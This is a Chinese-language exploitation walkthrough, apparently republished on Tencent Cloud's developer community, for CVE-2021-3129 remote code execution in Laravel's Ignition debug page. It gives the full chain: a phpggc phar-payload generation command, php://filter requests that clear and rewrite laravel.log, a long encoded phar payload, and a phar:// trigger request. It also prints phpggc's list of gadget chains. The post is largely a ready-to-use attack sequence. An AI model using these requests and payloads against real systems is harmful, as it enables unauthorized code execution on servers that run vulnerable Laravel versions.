Laravel RCE 另类技巧
原创
Laravel框架简介
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)
它可以让你从面条一样杂乱的代码中解脱出来；它可以帮你构建一个完美的网络APP，而且每行代码都可以简洁、富于表达力
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM
它能方便的将“约束（constraints）”应用到关系的双方，这样你就具有了对数据的完全控制，而且享受到ActiveRecord的所有便利
Eloquent原生支持Fluent中查询构造器（query-builder）的所有方法
复现过程
通过指纹识别判断出框架信息和版本
https://小生观察室/_ignition/execute-solution
路径信息
网站开启Ｄebug调试功能，且Laravel<=8.4.2，疑似存在CVE-2021-3129RCE漏洞
数据包验证
Request:
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 170
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}如果出现500状态码界面就基本存在漏洞
Phar反序列化
要成功利用需要用到phpggc环境
复现环境PHP版本为：PHP 7.2.24-0ubuntu0.18.04.11
git clone https://github.com/ambionics/phpggc.git
chmod 777 phpggc利用phpggc生成phar序列化利用POC
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到的POC在最后面需再加一个a，否则最终laravel.log里面将生成两个POC，导致利用失败
测试过程
将原日志文件laravel.log清空
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 332
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}给Log增加一次前缀，用于对齐：
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 155
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "AA"
}
}将POC作为viewFile的值
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 5050
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=2B=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=50=00=30=00=69=00=57=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=44=00=55=00=46=00=73=00=76=00=36=00=70=00=76=00=78=00=48=00=44=00=54=00=47=00=48=00=42=00=49=00=79=00=37=00=4F=00=41=00=32=00=36=00=41=00=45=00=70=00=48=00=54=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
}
}清空对log文件中的干扰字符，只留下POC
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 290
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}使用phar://进行反序列化，执行任意代码
（此时需要使用绝对路径）
POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 212
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}但执行到这一步时，出现错误，推测gadget利用链存在问题
查看phpgc通用gadget
root@小生观察室:/var/local/phpggc# ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
Dompdf/FD2 ? < 1.1.1 File delete __destruct *
Drupal7/FD1 7.0 < ? File delete __destruct *
Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
Kohana/FR1 3.* File read __toString *
Laminas/FD1 <= 2.11.2 File delete __destruct
Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Magento/FW1 ? <= 1.9.4.0 File write __destruct *
Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
Magento2/FD1 * File delete __destruct *
Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct *
Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
PHPExcel/FD1 1.8.2+ File delete __destruct
PHPExcel/FD2 <= 1.8.1 File delete __destruct
PHPExcel/FD3 1.8.2+ File delete __destruct
PHPExcel/FD4 <= 1.8.1 File delete __destruct
PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
Slim/RCE1 3.8.1 RCE (Function call) __toString
Smarty/FD1 ? File delete __destruct
Smarty/SSRF1 ? SSRF __destruct *
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 3.3 RCE (Command) __destruct *
Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
Symfony/RCE5 5.2.* RCE (Function call) __destruct
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *批量遍历并执行命令
编写脚本对RCE利用链进行批量遍历并执行命令结果进输出
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
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